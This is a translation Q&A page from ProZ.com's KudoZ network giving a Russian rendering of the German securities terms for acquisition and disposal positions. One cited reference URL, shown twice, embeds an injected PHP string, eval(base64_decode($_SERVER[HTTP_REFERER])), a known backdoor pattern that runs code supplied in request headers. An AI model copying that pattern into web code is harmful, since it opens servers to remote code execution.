Erwerbspositionene bzw. Verausserungspositionen

Russian translation: позиции покупки / позиции продажи

09:19 Dec 24, 2009
German to Russian translations [PRO]
Bus/Financial - Investment / Securities / investments, mergers
German term or phrase: Erwerbspositionene bzw. Verausserungspositionen
In der Folge ehroehte die Gesellschaft irhe Beteiligung an der Gesellschaft B auf 22 Prozent der Stimmrechte (Erwerbspositionene) bzw. 9 Prozent der Stimmrechte (Verausserungspositionen). - непонятно насчет позиций
verruckt
Russian translation:позиции покупки / позиции продажи
Explanation:
Пример определения тренда и открытие позиций Покупки и продаже на примере торговой пары NZD/USD дневного таймфрейма: Аллигатор (alligator) ...
markettalk.ru/.../95-alligator-alligator.html

Среднесрочка\краткосрочка: ситуация на данный момент неоднозначна – на рынке практически равное количество открытых позиций покупки и продаж…на первый ...
www.freefx.ru/.../%&({$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D%7C.+)&%
Selected response from:

Auto
Local time: 16:19
Grading comment
4 KudoZ points were awarded for this answer



Summary of answers provided
4позиции покупки / позиции продажи
Auto
Summary of reference entries provided
Erwerbspositionenen - Veräußerungspositionen
bivi

  

Answers


9 mins   confidence: Answerer confidence 4/5Answerer confidence 4/5
позиции покупки / позиции продажи


Explanation:
Пример определения тренда и открытие позиций Покупки и продаже на примере торговой пары NZD/USD дневного таймфрейма: Аллигатор (alligator) ...
markettalk.ru/.../95-alligator-alligator.html

Среднесрочка\краткосрочка: ситуация на данный момент неоднозначна – на рынке практически равное количество открытых позиций покупки и продаж…на первый ...
www.freefx.ru/.../%&({$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D%7C.+)&%


Auto
Local time: 16:19
Native speaker of: Native in RussianRussian
PRO pts in category: 4
Login to enter a peer comment (or grade)




Reference comments


1 hr
Reference: Erwerbspositionenen - Veräußerungspositionen

Reference information:
http://www.kpmg.ch/docs/20080709_5_Ziff_2.1.5_Revision_Boers...

bivi
Russian Federation
Native speaker of: Native in RussianRussian
PRO pts in category: 8
Login to enter a peer comment (or grade)



Login or register (free and only takes a few minutes) to participate in this question.

You will also have access to many other tools and opportunities designed for those who have language-related jobs (or are passionate about them). Participation is free and the site has a strict confidentiality policy.

KudoZ™ translation help

The KudoZ network provides a framework for translators and others to assist each other with translations or explanations of terms and short phrases.


See also:
Term search
  • All of ProZ.com
  • Term search
  • Jobs
  • Forums
  • Multiple search